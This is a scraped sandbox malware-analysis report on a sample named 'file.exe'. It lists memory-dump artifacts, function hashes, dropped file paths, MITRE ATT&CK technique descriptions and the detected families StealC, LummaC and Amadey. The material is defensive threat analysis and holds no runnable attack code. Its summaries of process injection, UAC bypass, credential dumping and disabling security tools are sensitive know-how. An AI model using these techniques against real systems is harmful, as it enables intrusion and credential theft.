Associated: 00000007.00000002.1908212590.00000000005F4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908234625.00000000005F8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908256465.00000000005F9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908275974.0000000000600000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908298677.0000000000607000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908322790.0000000000609000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908345346.000000000060A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908365898.0000000000612000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908398390.0000000000642000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908419597.0000000000643000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908446760.000000000066B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908469892.000000000066C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.000000000066D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908636234.0000000000682000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908658813.0000000000684000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 56d00874342167f504b353bf978906c26b838556ee5b7c859a95b10982e17e86
Instruction ID: 30473f242efe6593b467adb8e4e8119d74fcba0b1851df4ac0ac8fe3b5a1c629
Opcode Fuzzy Hash: 56d00874342167f504b353bf978906c26b838556ee5b7c859a95b10982e17e86
Instruction Fuzzy Hash: 75E0E5B151C358DFE3126F06DC01BBEB7A9EB14300F6405289AD145A80E2712C549E96

Function 003EEB07 Relevance: 1.3, APIs: 1, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 003EEB18

Memory Dump Source

Source File: 00000007.00000002.1907671596.00000000003EA000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000007.00000002.1907605519.00000000003E0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907629465.00000000003E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907651562.00000000003E6000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907693787.00000000003F6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907780731.0000000000543000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907798068.0000000000545000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907821384.000000000055E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907821384.000000000056A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907860108.0000000000570000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907875920.0000000000572000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907893998.0000000000574000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907913922.0000000000575000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907936203.0000000000585000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907952516.0000000000586000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907975589.000000000059A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907994134.000000000059C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908013218.00000000005A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908032481.00000000005B2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908052092.00000000005BB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908071388.00000000005C1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908092858.00000000005D0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908109301.00000000005D2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908127434.00000000005D3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908148365.00000000005D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908167512.00000000005D9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908186662.00000000005E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908212590.00000000005F4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908234625.00000000005F8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908256465.00000000005F9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908275974.0000000000600000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908298677.0000000000607000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908322790.0000000000609000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908345346.000000000060A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908365898.0000000000612000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908398390.0000000000642000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908419597.0000000000643000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908446760.000000000066B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908469892.000000000066C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.000000000066D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908636234.0000000000682000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908658813.0000000000684000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3bdfd5d8ea2900cdffca38536779900fc7d554958a7c02d2480a84715c46897e
Instruction ID: ddc05e7aa2430824beef59df3a482b4e609d37c455d03d77e456d6e3c2b2b2f7
Opcode Fuzzy Hash: 3bdfd5d8ea2900cdffca38536779900fc7d554958a7c02d2480a84715c46897e
Instruction Fuzzy Hash: 38E0E575408649CFD7412F3988493AEBBE5EF58321F220A18AED283A90D7311C618A4A

Non-executed Functions

Function 00566944 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1907821384.000000000055E000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000007.00000002.1907605519.00000000003E0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907629465.00000000003E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907651562.00000000003E6000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907671596.00000000003EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907693787.00000000003F6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907780731.0000000000543000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907798068.0000000000545000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907821384.000000000056A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907860108.0000000000570000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907875920.0000000000572000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907893998.0000000000574000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907913922.0000000000575000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907936203.0000000000585000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907952516.0000000000586000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907975589.000000000059A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907994134.000000000059C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908013218.00000000005A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908032481.00000000005B2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908052092.00000000005BB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908071388.00000000005C1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908092858.00000000005D0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908109301.00000000005D2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908127434.00000000005D3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908148365.00000000005D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908167512.00000000005D9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908186662.00000000005E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908212590.00000000005F4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908234625.00000000005F8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908256465.00000000005F9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908275974.0000000000600000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908298677.0000000000607000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908322790.0000000000609000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908345346.000000000060A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908365898.0000000000612000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908398390.0000000000642000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908419597.0000000000643000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908446760.000000000066B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908469892.000000000066C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.000000000066D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908636234.0000000000682000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908658813.0000000000684000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b81189cb6089f3a30b57709effccee66ce7f48da1e59b7f12122850f6cdf0d55
Instruction ID: 143dd8b9f6734875f4399b492d5d996ad063995565ba1faa05b9986705fb4efb
Opcode Fuzzy Hash: b81189cb6089f3a30b57709effccee66ce7f48da1e59b7f12122850f6cdf0d55
Instruction Fuzzy Hash: 3AF05E7490D3D65AFF2E4A258124379BEA07F06700F2C05AD8C8287587D7F60CD4C746

Analysis Process: 805c374e44.exePID: 7860, Parent PID: 7596COMMON

Non-executed Functions

Function 055C6513 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2152953216.00000000055C1000.00000004.00000800.00020000.00000000.sdmp, Offset: 055C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_55c1000_805c374e44.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a607164d113afbdbb8ce06e42b358ff5eef3c5e3f0601dd812fee00aa5eceaab
Instruction ID: 41e65752620efe6e4a829bd99b71cc4edd3a0fd2811b92c689f338e82a70415d
Opcode Fuzzy Hash: a607164d113afbdbb8ce06e42b358ff5eef3c5e3f0601dd812fee00aa5eceaab
Instruction Fuzzy Hash: FFE0EC1200E7C10FE3138768A8656857FB16F47210B5E44D7C0C18F5F7C2195955C362

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1SC0KN6KHBFFEX9LB9FR.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe

C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre